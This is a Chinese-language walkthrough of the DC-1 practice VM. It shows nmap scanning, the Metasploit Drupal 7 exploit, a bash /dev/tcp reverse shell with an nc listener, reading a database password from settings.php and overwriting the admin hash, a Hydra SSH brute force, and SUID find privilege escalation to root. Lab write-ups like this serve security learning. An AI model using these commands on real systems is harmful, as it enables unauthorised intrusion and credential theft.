实验步骤:
查看DC1的MAC地址
nmap -sV -p- 192.168.146.0/24 扫描整个网段,192.168.146.1---192.168.146.254
-p- 所有端口
-sV 探测服务/版本信息
192.168.146.138是DC1的ip地址
使用默认代理设置,在kali的火狐浏览器查看
看到这个登录框,猜测有sql注入漏洞,用的Drupal,是一个CMS(内容管理系统)
用Wappalyzer插件可以看到这个网站信息,Drupal版本是7
用metasploit工具查看Drupal7的漏洞
search Drupal
disclosure公开,rank等级,选一个2018年的漏洞
use 漏洞名称
show options
set RHOSTS DC1靶机的ip地址,
exploit
shell
metasploit原理,会生成一句话木马,利用漏洞拿到shell
ls
反弹shell,受害者主机主动连接攻击者的服务端程序
python -c 'import pty;pty.spawn("/bin/bash")'
-c:表示接下来执行的python代码
import pty;导入pty库
spawn创建一个新的伪终端
运行/bin/bash,启动一个新的shell
利用bash,bash -i >& /dev/tcp/攻击机ip/攻击机端口 0>&1
nc -lvp 端口(-l:指定 nc 作为服务器监听连接
-p:指定本地端口号
-v:显示详细信息,包括连接和数据传输的详细信息
)
查看flag1.txt,在提醒我们配置文件里有东西
find / -name settings.php
/ 表示根目录,搜索文件从最高层开始
-name 搜索与指定名称匹配的文件
得到数据库用户dbuser密码R0ck3t
暴力破解字典攻击不是获得权限的唯一方法,提醒我们用下面的账号
能用find命令说明能suid提权
登录数据库看看
mysql -udbuser -pR0ck3t;注意有个;
看一下drupaldb数据库的表,要用SQL语句,
use drupaldb;
show tables;
有一个users表,查看内容
select * from users;
有两个用户admin和Fred,密码用的hash函数加密
试着修改pass,试看看有无权限
update users set pass = "111111"
但是我设置的hash(x)=111111值,但x才是密码
试着找一下加密函数在哪,百度一下
退出exit 回到原来的目录
php scripts/password-hash.sh 1111111
hash值是$S$DDFOiP3hLOW7DUMKb4TfbC5mkEiCuKuxLGNbnRWR7hPoF0IQy1gZ
回到数据库,修改update users set pass = "$S$DDFOiP3hLOW7DUMKb4TfbC5mkEiCuKuxLGNbnRWR7hPoF0IQy1gZ" where name = 'admin';
拿到用户admin和密码1111111,尝试登录,成功
点击Dashboard,看到flag3,特殊的访问权限将能帮助找到密码,需要执行命令行,在/etc/shadow
查看存放密码的文件
/etc/passwd
存储有用户的基本信息,如用户名、用户ID等,所有用户均可访问
内容格式:x表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中
主目录:/home/username 用户登录后有操作权限的访问目录
Shell 命令解释器的功能就是将用户输入的命令转换成系统可以识别的机器语言,默认为bash
bash拥有权限范围内的所有权限
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
看到一个flag4
/etc/shadow
存储有用户的密码等信息,需要root用户才能访问
22端口是开放的,试试ssh登录呢, ssh 客户端用户名@服务器ip地址,我本来想以刚才的admin和1111111试试能否登录,不能登录
暴力破解一下密码,
dirbuster是用来暴力破解网站目录
用Hydra
kali自带的字典,路径为/usr/share/john/password.lst
hydra -l 指定用户名 -p 指定密码 ip ssh
hydra -L 用户字典 -P 密码字典
-f找到第一对密码就终止破解
-vV显示详细过程
hydra -l flag4 -P /usr/share/john/password.lst 192.168.146.138 ssh -vV -f
贪心的我还试了试root用户,懒得等,放弃
ssh登录flag4,暗示我们暴力破解root用户会比较困难,那试着去提权
suid提权,已知的具有SUID权限的二进制可执行文件大体有:nmap vim find bash more less nano cp awk
find / -perm -4000 2>/dev/null寻找 4000权限的文件,不显示其他的错误信息相当于过滤
-perm匹配权限
-4000 SUID权限
将错误输出到黑洞(相当于垃圾桶)
find -exec /bin/sh \;对find找到的每个文件执行/bin/sh
find / -name (某个存在的文件名) -exec "/bin/sh" \;
/root目录下拿到最终flag
SQL注入漏洞利用
(明天写)
参考文章: